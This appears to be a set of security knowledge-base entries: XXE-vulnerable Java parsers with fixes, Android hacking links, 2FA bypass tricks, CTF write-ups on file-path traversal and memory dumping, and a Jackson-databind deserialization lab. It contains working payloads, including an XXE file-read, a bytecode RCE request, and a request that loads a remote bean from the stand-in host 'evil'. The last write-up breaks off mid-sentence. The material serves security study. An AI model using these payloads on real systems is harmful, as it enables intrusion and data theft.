org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; @RestController public class XxeController { @PostMapping("/parseXml") public String parseXml(@RequestBody String xmlData) throws Exception { Document document = DocumentHelper.parseText(xmlData); // 对文档进行操作 String xmlString = document.asXML(); System.out.println(xmlString); return "XXE"; } } ``` {% endcode %} ![image-20230308154225888](../../.gitbook/assets/image-20230308154225888.png) > 修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY;不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。 ## digester3 > Java Digester3库是一个基于Java的XML解析和操作库,它提供了一种基于规则的XML解析和对象创建机制。相对于其他XML解析库,Digester3库可以更加方便地将XML文档转换为Java对象,同时也提供了一些高级特性,如XPath查询、XML Schema验证等。 > > 下面是Digester3库的一些详细说明: > > 1. Digester3库是基于Java的标准API,因此可以与任何Java程序一起使用。 > 2. Digester3库提供了一种基于规则的XML解析和对象创建机制,开发者可以定义一组规则来指导XML解析过程。 > 3. Digester3库支持将XML文档转换为Java对象,通过将XML元素映射到Java对象的属性来实现。 > 4. Digester3库提供了一些高级特性,如XPath查询、XML Schema验证等。 > 5. Digester3库可以将XML文档加载到内存中,并使用Digester对象解析XML文档。 > 6. Digester3库支持解析和生成所有类型的XML文档,包括DTD、XML Schema等。 > 7. Digester3库还提供了一些辅助类和方法,用于简化XML解析过程和处理解析后的数据。 {% code title="XxeController.java" %} ```java package com.example.controller; import org.apache.commons.digester.Digester; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; import java.io.StringReader; @RestController public class XxeController { @PostMapping("/parseXml") public String parseXml(@RequestBody String xmlData) throws Exception { Digester digester = new Digester(); digester.parse(new StringReader(xmlData)); // parse xml return "XXE"; } } ``` {% endcode %} **修复代码** ``` digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); digester.setFeature("http://xml.org/sax/features/external-general-entities", false); digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` ## javax.xml > javax.xml是Java语言中提供的一个用于处理XML(eXtensible Markup Language)的标准API集合。该API集合包含了各种处理XML文档的类和接口,包括DOM、SAX、StAX等三种常用的XML解析器,以及JAXB、JAXP等一些用于XML绑定、转换和验证的工具。下面是javax.xml的一些详细说明: > > 1. javax.xml是Java语言中的标准API,因此可以与任何Java程序一起使用。 > 2. javax.xml提供了各种处理XML文档的类和接口,包括DOM、SAX、StAX等三种常用的XML解析器。 > 3. javax.xml还提供了一些用于XML绑定、转换和验证的工具,如JAXB、JAXP等。 > 4. javax.xml中的DOM API允许开发者将XML文档加载到内存中,并以树形结构表示。开发者可以使用节点对象来遍历和修改XML文档。 > 5. javax.xml中的SAX API是一种事件驱动的XML解析器,它使用基于事件的回调机制来解析XML文档。 > 6. javax.xml中的StAX API是一种流式的XML解析器,它允许开发者逐个地处理XML文档中的事件,而不需要将整个文档读入内存。 > 7. javax.xml中的JAXB API允许开发者将XML文档转换为Java对象,并将Java对象序列化为XML文档。 > 8. javax.xml中的JAXP API提供了一些通用的XML处理工具,如XPath查询、XML Schema验证等。 > > 总之,javax.xml是Java语言中的一个用于处理XML的标准API集合,它提供了各种处理XML文档的类和接口,包括DOM、SAX、StAX等三种常用的XML解析器,以及JAXB、JAXP等一些用于XML绑定、转换和验证的工具。开发者可以根据自己的需要选择适合的API来处理XML文档。 {% code title="XxeController.java" %} ```java package com.example.controller; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; import org.w3c.dom.Document; import org.xml.sax.InputSource; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.transform.Transformer; import javax.xml.transform.TransformerFactory; import javax.xml.transform.dom.DOMSource; import javax.xml.transform.stream.StreamResult; import java.io.StringReader; import java.io.StringWriter; @RestController public class XxeController { @PostMapping("/parseXml") public String parseXml(@RequestBody String xmlData) throws Exception { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(new InputSource(new StringReader(xmlData))); String xmlString = getStringFromDocument(document); System.out.println(xmlString); return "XXE"; } private static String getStringFromDocument(Document document) throws Exception { TransformerFactory transformerFactory = TransformerFactory.newInstance(); Transformer transformer = transformerFactory.newTransformer(); StringWriter writer = new StringWriter(); transformer.transform(new DOMSource(document), new StreamResult(writer)); return writer.getBuffer().toString(); } } ``` {% endcode %} ![image-20230308151939873](../../.gitbook/assets/image-20230308151939873.png) **修复代码** ```java factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` ------ > XInclude漏洞是一种基于XXE漏洞的攻击,攻击者可以在XML数据中包含XInclude指令,从而注入外部实体和其他恶意代码。XInclude是一种XML规范,用于在XML文档中包含和引用其他XML文档。当XML解析器支持XInclude时,它会在解析XML数据时加载外部实体,从而导致安全问题。 {% code title="XxeController.java" %} ```java package com.example.controller; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; import org.w3c.dom.Document; import org.xml.sax.InputSource; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.transform.Transformer; import javax.xml.transform.TransformerFactory; import javax.xml.transform.dom.DOMSource; import javax.xml.transform.stream.StreamResult; import java.io.StringReader; import java.io.StringWriter; @RestController public class XxeController { @PostMapping("/parseXml") public String parseXml(@RequestBody String xmlData) throws Exception { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setXIncludeAware(true); //支持XInclude factory.setNamespaceAware(true); factory.setExpandEntityReferences(true); DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(new InputSource(new StringReader(xmlData))); String xmlString = getStringFromDocument(document); System.out.println(xmlString); return "XXE"; } private static String getStringFromDocument(Document document) throws Exception { TransformerFactory transformerFactory = TransformerFactory.newInstance(); Transformer transformer = transformerFactory.newTransformer(); StringWriter writer = new StringWriter(); transformer.transform(new DOMSource(document), new StreamResult(writer)); return writer.getBuffer().toString(); } } ``` {% endcode %} {% code title="payload" %} ```xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///C:/1.log" >]> <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///C:/1.log" parse="text"/> <data>&xxe;</data> </foo> ``` {% endcode %} ![image-20230308153543378](../../.gitbook/assets/image-20230308153543378.png)
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ---- ## Android Hacking and Security 1. [exploiting securing application components](http://resources.infosecinstitute.com/android-hacking-security-part-1-exploiting-securing-application-components/) 2. [content provider leakage](http://resources.infosecinstitute.com/android-hacking-security-part-2-content-provider-leakage/) 3. [exploiting broadcast receivers](http://resources.infosecinstitute.com/android-hacking-security-part-3-exploiting-broadcast-receivers/) 4. [exploiting unintended data leakage side channel data leakage](http://resources.infosecinstitute.com/android-hacking-security-part-4-exploiting-unintended-data-leakage-side-channel-data-leakage/) 5. [debugging java applications using jdb](http://resources.infosecinstitute.com/android-hacking-security-part-5-debugging-java-applications-using-jdb/) 6. [exploiting debuggable android applications](http://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/) 7. [attacks android webviews](http://resources.infosecinstitute.com/android-hacking-security-part-7-attacks-android-webviews/) 8. [root detection evasion](http://resources.infosecinstitute.com/android-hacking-security-part-8-root-detection-evasion/) 9. [insecure local storage shared preferences](http://resources.infosecinstitute.com/android-hacking-security-part-9-insecure-local-storage-shared-preferences/) 10. [insecure local storage](http://resources.infosecinstitute.com/android-hacking-security-part-10-insecure-local-storage/) 11. [blackbox assessments introspy](http://resources.infosecinstitute.com/android-hacking-security-part-11-blackbox-assessments-introspy/) 12. [securing shared preferences third party libraries](http://resources.infosecinstitute.com/android-hacking-security-part-12-securing-shared-preferences-third-party-libraries/) 13. [introduction drozer](http://resources.infosecinstitute.com/android-hacking-security-part-13-introduction-drozer/) 14. [examining android app specific data non rooted devices](http://resources.infosecinstitute.com/android-hacking-security-part-14-examining-android-app-specific-data-non-rooted-devices/) 15. [hacking android apps using backup techniques](http://resources.infosecinstitute.com/android-hacking-security-part-15-hacking-android-apps-using-backup-techniques/) 16. [broken cryptography](http://resources.infosecinstitute.com/android-hacking-security-part-16-broken-cryptography/) 17. [cracking android app binaries](http://resources.infosecinstitute.com/android-hacking-security-part-17-cracking-android-app-binaries/) 18. [introduction to reverse engineering](http://resources.infosecinstitute.com/android-hacking-and-security-part-18-introduction-to-reverse-engineering/) 19. [insecure data storage with nosql databases](http://resources.infosecinstitute.com/android-hacking-and-security-part-19-insecure-data-storage-with-nosql-databases/) 20. [debugging apps on android emulator using gdb](http://resources.infosecinstitute.com/android-hacking-and-security-part-20-debugging-apps-on-android-emulator-using-gdb/) ## Android reverse engineering 1. http://www.fasteque.com/android-reverse-engineering-101-part-1/ 2. http://www.fasteque.com/android-reverse-engineering-101-part-2/ 3. http://www.fasteque.com/android-reverse-engineering-101-part-3/ 4. http://www.fasteque.com/android-reverse-engineering-101-part-4/ 5. http://www.fasteque.com/android-reverse-engineering-101-part-5/ ## [Android Security and Exploitation for Pentesters](http://www.pentesteracademy.com/course?id=24) 00. introduction 01. Android-Security-Introduction 02. Android-Architecture 03. Android-Permissions 04. Android-Applications 05. Setting-up-Genymotion 06. Android-Application-Components 07. Dex-Analysis 08. Android-Debug-Bridge 09. Logging-based-vulnerabilities 10. Application-Reversing 11. Analyzing-Android-Malwares 12. Traffic-Analysis 13. SSL-Pinning 14. Leaking-Content-Providers 15. Drozer-Kung-Fu 16. Read-Based-Content-Provider-Vulnerability 17. Advanced-Drozer-Kung-Fu 18. Drozer-Scripting 19. Dropbox-Vulnerability 20. Backup-based-vulnerabilities 21. Client-Side-Injection 22. Hooking-Introduction-and-Setting-up-InsecureBankSetup 23. Android-Debugging-with-Andbug 24. Debugging-with-JDB 25. Automated-Hooking-with-Introspy 26. Cydia-Substrate 27. Hooking-using-Xposed 28. Androguard-Scripting-and-Analysis 29. Webview-based-vulnerabilities 30. Exploiting-Webviews-with-Metasploit ## Books 1. Android Security Cookbook 2. Android Hacker's Handbook 3. Learning Pentesting for Android Devices
sec-knowleage
# Bypass Two-Factor Authentication 1. Response manipulation The response is ``` HTTP/1.1 404 Not Found ... {"code": false} ``` Try this to bypass ``` HTTP/1.1 404 Not Found ... {"code": true} ``` 2. Status code manipulation The response is ``` HTTP/1.1 404 Not Found ... {"code": false} ``` Try this to bypass ``` HTTP/1.1 200 OK ... {"code": false} ``` 3. 2FA Code in Response Always check the response! ``` POST /req-2fa/ Host: vuln.com ... email=victim@gmail.com ``` The response is ``` HTTP/1.1 200 OK ... {"email": "victim@gmail.com", "code": "101010"} ``` 4. JS Files may contain info about the 2FA Code (Rare case) 5. Bruteforce the 2FA code 6. Missing 2FA Code integrity validation, code for any user account can be used ``` POST /2fa/ Host: vuln.com ... email=attacker@gmail.com&code=382923 ``` ``` POST /2fa/ Host: vuln.com ... email=victim@gmail.com&code=382923 ``` 7. No CSRF protection on disabling 2FA, also there is no auth confirmation. 8. 2FA gets disabled on password change/email change. 9. Clickjacking on 2FA disabling page, by iframing the 2FA Disabling page and lure the victim to disable the 2FA. 10. Enabling 2FA doesn't expire previously active sessions, if the session is already hijacked and there is a session timeout vuln. 11. 2FA code reusability, same code can be reused. 12. Enter code 000000 ``` POST /2fa/ Host: vuln.com ... code=00000 ``` 13. Enter code "null" ``` POST /2fa/ Host: vuln.com ... code=null ``` ## References * [Harsh Bothra](https://twitter.com/harshbothra_) * Other writeup
sec-knowleage
# shabaKernel Category: Reversing, 350 points ## Description > This binary is not an elf. So what is it? > > Load the .ko file and find out... > > Use the image: > > http://uec-images.ubuntu.com/releases/focal/release-20201210/ > > Good luck! Two binary files were attached. ## Solution: Let's check the binary files we've received: ```console root@kali:/media/sf_CTFs/shabak/shabaKernel# file app.magen app.magen: data root@kali:/media/sf_CTFs/shabak/shabaKernel# file loader.ko loader.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=dd09ff411b9362d587cf727385d072f0f3a03565, not stripped ``` So we have at least one ELF - let's check it in Ghidra: ```c undefined8 init_module(void) { __fentry__(); __register_binfmt(magen_fmt,0); return 0; } void cleanup_module(void) { unregister_binfmt(magen_fmt); return; } // ... undefined8 load_magen_binary(long param_1) { long lVar1; long lVar2; ulong uVar3; long lVar4; undefined8 *puVar5; undefined8 uVar6; ulong uVar7; uint uVar8; long in_GS_OFFSET; uint local_44; long local_40; long local_38; __fentry__(); local_38 = *(long *)(in_GS_OFFSET + 0x28); local_40 = 0; if (8 < *(uint *)(param_1 + 0x8d)) { set_binfmt(magen_fmt); flush_old_exec(param_1); setup_new_exec(param_1); uVar6 = 0x7ffffffff000; if (((**(ulong **)(&current_task + in_GS_OFFSET) & 0x20000000) != 0) && (uVar6 = 0xc0000000, (*(byte *)((long)*(ulong **)(&current_task + in_GS_OFFSET) + 0x87b) & 8) == 0)) { uVar6 = 0xffffe000; } setup_arg_pages(param_1,uVar6,0); uVar3 = vm_mmap(0,0,0x2000,3,2,0); *(ulong *)(param_1 + 0x18) = uVar3; if (uVar3 < 0xfffffffffffff001) { lVar4 = __kmalloc((ulong)*(uint *)(param_1 + 0x8d),0xcc0); if (lVar4 != 0) { puVar5 = (undefined8 *)kmem_cache_alloc_trace(_DAT_001010d0,0xcc0,0x12); if (puVar5 != (undefined8 *)0x0) { uVar6 = build_key((char *)(param_1 + 0x91),puVar5,(ulong)(*(int *)(param_1 + 0x8d) - 9), (int *)&local_44); if ((int)uVar6 != -1) { local_40 = (ulong)local_44 + 9; uVar8 = (-9 - local_44) + *(int *)(param_1 + 0x8d); uVar7 = (ulong)uVar8; uVar3 = kernel_read(*(undefined8 *)(param_1 + 0x30),lVar4,uVar7,&local_40); if (uVar7 == uVar3) { stateless_rc4(puVar5,0x12,lVar4,(ulong)uVar8); uVar3 = vm_mmap(0,0,uVar7,7,2,0); if (uVar3 < 0xfffffffffffff001) { if ((int)uVar8 < 0) { do { invalidInstructionException(); } while( true ); } __check_object_size(lVar4,uVar7,1); _copy_to_user(uVar3,lVar4,uVar7); lVar1 = *(long *)(&current_task + in_GS_OFFSET); lVar2 = *(long *)(lVar1 + 0x810); *(ulong *)(lVar2 + 0x100) = uVar3; *(long *)(lVar2 + 0x108) = uVar7 + uVar3; uVar6 = *(undefined8 *)(param_1 + 0x18); *(undefined8 *)(lVar2 + 0x110) = 0; *(undefined8 *)(lVar2 + 0x130) = uVar6; finalize_exec(param_1); start_thread(*(long *)(lVar1 + 0x18) + 0x3f58,uVar3,*(undefined8 *)(param_1 + 0x18)) ; kfree(puVar5); kfree(lVar4); uVar6 = 0; goto LAB_00100610; } } } kfree(puVar5); } kfree(lVar4); } vm_munmap(*(undefined8 *)(param_1 + 0x18),0x2000); } } uVar6 = 0xfffffff8; LAB_00100610: if (local_38 != *(long *)(in_GS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar6; } ``` We can see that this loader registers the `magen` format, then starts loading it somehow while calling functions such as `build_key` and `stateless_rc4`. Maybe we're supposed to reverse the loading process in order to recover the key and decrypt the app. We'll take a shortcut to the flag instead. But first, we need to setup the Ubuntu image we were requested to use. The link points to an `Ubuntu Cloud` image which requires some special setup to access. We chose to download the `*.vmdk` hard-drive file and plug it into VirtualBox. To work with it, there are two things that need to be done after creating a default virtual machine. First - we need to change the network adapter to "Bridged" in order to be able to SSH into the machine. In addition, we need to create an ISO image which will provision the machine and setup credentials. This is done with: ```console root@kali:/media/sf_CTFs/shabak/shabaKernel/config# cat user-data #cloud-config password: 123456 ssh_pwauth: True chpasswd: { expire: False } ssh_authorized_keys: - ssh-rsa AAAAB[...]FF root@kali # <-- Replace with your own key from ~/.ssh/id_rsa.pub root@kali:/media/sf_CTFs/shabak/shabaKernel/config# cat meta-data instance-id: cloud-host-0 local-hostname: cloudhost root@kali:/media/sf_CTFs/shabak/shabaKernel/config# genisoimage -output out.iso -volid cidata -joliet -rock user-data meta-data I: -input-charset not specified, using utf-8 (detected in locale settings) Total translation table size: 0 Total rockridge attributes bytes: 331 Total directory bytes: 0 Path table size(bytes): 10 Max brk space used 0 183 extents written (0 MB) ``` We insert the ISO into the virtual machine and boot it. We can then either log into it with `ubuntu:123456` or SSH into it: ```console root@kali:/media/sf_CTFs/shabak/shabaKernel# ssh ubuntu@192.168.1.115 Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information disabled due to load higher than 1.0 1 update can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Tue Jan 19 22:10:32 2021 from 192.168.1.108 ubuntu@cloudhost:~$ ``` Now, to our plan. Instead of reversing the program, we'll launch it and dump its memory, hoping that the flag will be there. We'll use a Python script for that: ```python #!/usr/bin/env python # from https://stackoverflow.com/a/23001686/1935787 import re import sys def print_memory_of_pid(pid, only_writable=True): """ Run as root, take an integer PID and return the contents of memory to STDOUT """ memory_permissions = 'rw' if only_writable else 'r-' sys.stderr.write("PID = %d" % pid) with open("/proc/%d/maps" % pid, 'r') as maps_file, \ open("/proc/%d/mem" % pid, 'rb', 0) as mem_file, \ open("memory.bin", "wb") as output: for line in maps_file.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r][-w])', line) if m.group(3) == memory_permissions: sys.stderr.write("\nOK : \n" + line+"\n") start = int(m.group(1), 16) if start > 0xFFFFFFFFFFFF: continue end = int(m.group(2), 16) sys.stderr.write( "start = " + str(start) + "\n") mem_file.seek(start) # seek to region start chunk = mem_file.read(end - start) # read region contents output.write(chunk) else: sys.stderr.write("\nPASS : \n" + line+"\n") if __name__ == '__main__': # Execute this code when run from the commandline. try: assert len(sys.argv) == 2, "Provide exactly 1 PID (process ID)" pid = int(sys.argv[1]) print_memory_of_pid(pid) except (AssertionError, ValueError) as e: print ("Please provide 1 PID as a command-line argument.") print ("You entered: %s" % ' '.join(sys.argv)) raise e ``` We copy what we need to the virtual machine: ```console root@kali:/media/sf_CTFs/shabak/shabaKernel# scp loader.ko app.magen ubuntu@192.168.1.115:/home/ubuntu/magen loader.ko 100% 8272 3.7MB/s 00:00 app.magen 100% 1561 1.0MB/s 00:00 ``` Run it: ```console ubuntu@cloudhost:~/magen$ sudo python3 dump_mem.py 1280 PID = 1280 OK : 7ffff7ffa000-7ffff7ffc000 rw-p 00000000 00:00 0 start = 140737354113024 OK : 7ffff7ffc000-7ffff7ffd000 rwxp 00000000 00:00 0 [stack] start = 140737354121216 OK : 7ffff7ffd000-7ffff7fff000 rw-p 00000000 00:00 0 [stack] start = 140737354125312 OK : 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 start = 140737488216064 PASS : ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall] ``` And we got the flag: ```console ubuntu@cloudhost:~/magen$ strings memory.bin | grep -i flag FLAG{magen_velo_yeraELF} This is not the right flag, Buddy Good work my friend, go submit the flag ```
sec-knowleage
# Jackson-databind 反序列化漏洞(CVE-2017-7525) Jackson-databind 支持 [Polymorphic Deserialization](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization) 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 `TemplatesImpl`,可以实现任意代码执行。 所以,本漏洞利用条件如下: - 开启 JacksonPolymorphicDeserialization,即调用以下任意方法 ```java objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); ``` - Target class 需要有无参 constructor - Target class 中需要需要有字段类型为 Interface、abstract class、Object,并且使用的 Gadget 需要为其子类 / 实现接口 ## 运行漏洞环境 ```shell docker compose up -d ``` 环境启动后,Web运行在`http://your-ip:8080/`。 ### CVE-2017-7525 `Jackson-databind` 在设置 Target class 成员变量参数值时,若没有对应的 getter 方法,则会使用 `SetterlessProperty` 调用 getter 方法,获取变量,然后设置变量值。当调用 `getOutputProperties()` 方法时,会初始化 `transletBytecodes` 包含字节码的类,导致命令执行,具体可参考 [java-deserialization-jdk7u21-gadget-note](https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/) 中关于 `TemplatesImpl` 的说明。 使用JDK7u21的`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`作为Gadget,发送如下请求,将会执行`touch /tmp/prove1.txt`: ``` POST /exploit HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 1298 { "param": [ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", { "transletBytecodes": [ "yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw==" ], "transletName": "a.b", "outputProperties": {} } ] } ``` ![](1.png) 这个POC只能运行在目标为JDK7u21以下的环境中,其他情况请更换Gadget。 ### CVE-2017-17485 CVE-2017-7525 [黑名单修复](https://github.com/FasterXML/jackson-databind/commit/60d459cedcf079c6106ae7da2ac562bc32dcabe1) 绕过,利用了 `org.springframework.context.support.FileSystemXmlApplicationContext`。 利用该漏洞,我们需要创建一个bean文件,放置在任意服务器上,如`http://evil/spel.xml`,内容如下: ```xml <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <array> <value>touch</value> <value>/tmp/prove2.txt</value> </array> </constructor-arg> <property name="any" value="#{ pb.start() }"/> </bean> </beans> ``` 然后,发送如下数据包,使Jackson加载bean,触发漏洞: ``` POST /exploit HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 138 { "param": [ "org.springframework.context.support.FileSystemXmlApplicationContext", "http://evil/spel.xml" ] } ``` 成功执行`touch /tmp/prove2.txt`: ![](2.png) **原理:** 利用 `FileSystemXmlApplicationContext` 加载远程 bean 定义文件,创建 ProcessBuilder bean,并在 xml 文件中使用 Spring EL 来调用 `start()` 方法实现命令执行 ## 参考 - [JacksonPolymorphicDeserialization](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization) - [Exploiting the Jackson RCE: CVE-2017-7525](https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/) - [jackson-rce-via-spel](https://github.com/irsl/jackson-rce-via-spel) - [Jackson Deserializer security vulnerability](https://github.com/FasterXML/jackson-databind/commit/60d459cedcf079c6106ae7da2ac562bc32dcabe1)
sec-knowleage
# BugDB v3 - FLAG0 ## 0x00 Overview Pretty much same as [BugDB v1][1] and [v2][2]. But this one also need to combine with arbitary file reading. ## 0x01 Take a Tour ### query There is attachments available. But initially they are all empty. ```graphql query{ user{ edges{ node{ id username bugs{ edges{ node{ id private reporterId attachments{ edges{ node{ id bugId filename } } } } } } } } } } ``` ![](./imgs/query.jpg) ### attachFile Try attach a file. ```graphql mutation{ attachFile(bugId:1, contents:"test"){ ok } } ``` ![](./imgs/attachFile.jpg) And make a query again, will see a new attachment is available. ![](./imgs/attachment.jpg) It seems we can read the file somewhere. http://127.0.0.1/xxxxxxxxxx/attachments/1 ![](./imgs/content.jpg) So looks like the file name is binding with the id. ### modifyAttachment Try modify filename. ```graphql mutation{ modifyAttachment(id:1, filename:"../main.py"){ ok } } ``` ![](./imgs/modifyAttachment.jpg) And make a query again, will see file name is changed to **../main.py**. ![](./imgs/filename.jpg) Go read the attachment again. http://127.0.0.1/xxxxxxxxxx/attachments/1 ![](./imgs/main.jpg) Here we got the whole [main.py](./main.py) file. ```python from flask import Flask, abort, redirect, request, Response from flask_graphql import GraphQLView from model import db_session, Attachment from schema import schema app = Flask(__name__) @app.route('/') def main(): return 'GraphiQL' @app.route('/attachment/') @app.route('/attachments/') def attachment(id): attachment = Attachment.query.filter_by(id=id).first() return file('attachments/%s' % attachment.filename, 'r').read() app.add_url_rule('/graphql', view_func=GraphQLView.as_view('graphql', schema=schema, graphiql=True, context={'session': db_session})) if __name__ == "__main__": app.run(host='0.0.0.0', port=80) ``` ### Read model It looks **model** contains some interesting thing with **db_session**. Try read this file again. ```graphql mutation{ modifyAttachment(id:1, filename:"../model.py"){ ok } } ``` Go read the attachment again. http://127.0.0.1/xxxxxxxxxx/attachments/1 ![](./imgs/model.jpg) Here we got the [model.py](./model.py) file. ```python from sqlalchemy import create_engine from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import relationship, scoped_session, sessionmaker from sqlalchemy import Column, DateTime, ForeignKey, Boolean, Integer, Text, func, String engine = create_engine('sqlite:///level18.db', convert_unicode=True) db_session = scoped_session(sessionmaker(autocommit=False, autoflush=False, bind=engine)) Base = declarative_base() Base.query = db_session.query_property() class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) username = Column(String(255)) password = Column(String(255)) bugs = relationship('Bug', primaryjoin='Bug.reporter_id==User.id') class Bug(Base): __tablename__ = 'bugs' id = Column(Integer, primary_key=True) reporter_id = Column(Integer, ForeignKey('users.id')) reporter = relationship(User, primaryjoin=reporter_id == User.id) text = Column(Text(65536)) private = Column(Boolean()) attachments = relationship('Attachment', primaryjoin='Attachment.bug_id==Bug.id') class Attachment(Base): __tablename__ = 'attachments' id = Column(Integer, primary_key=True) bug_id = Column(Integer, ForeignKey('bugs.id')) bug = relationship(Bug, primaryjoin=bug_id == Bug.id) filename = Column(String(255)) ``` ## 0x02 FLAG There is a **level18.db** file available here. So let go get it again. ```graphql mutation{ modifyAttachment(id:1, filename:"../level18.db"){ ok } } ``` Get the FLAG ![](./imgs/flag.jpg) [1]: ../../bugdb_v1/flag0 [2]: ../../bugdb_v2/flag0
sec-knowleage
# Static Scripting Category: Steganography ## Description > Who doesn't like to watch some static noise? > > Hint: The video duration is not random A video was attached. ## Solution Attached was a video of 24:00 minutes where each frame looked like a collection of random colorful pixels such as: ![](images/static1.png) The hint said that the video duration isn't random. Let's try to collect more information about the video: ```python import numpy import hashlib import cv2 frames = set() vidcap = cv2.VideoCapture('static.avi') success, image = vidcap.read() while success: frame = image.view(numpy.uint8) frame_hash = hashlib.md5(frame).hexdigest() frames.add(frame_hash) success, image = vidcap.read() print("Number of frames: {}".format(int(vidcap.get(cv2.CAP_PROP_FRAME_COUNT)))) print("Number of unique frames: {}".format(len(frames))) print("Video width: {}".format(int(vidcap.get(cv2.CAP_PROP_FRAME_WIDTH)))) print("Video height: {}".format(int(vidcap.get(cv2.CAP_PROP_FRAME_HEIGHT)))) ``` Output: ```console root@kali:/media/sf_CTFs/technion/Static_Scripting/static# python3 info.py Number of frames: 14400 Number of unique frames: 14400 Video width: 160 Video height: 90 ``` So all 14400 frames are unique. Also, in what seems to be a too-odd-to-be-true coincidence (especially given the hint), video dimensions are 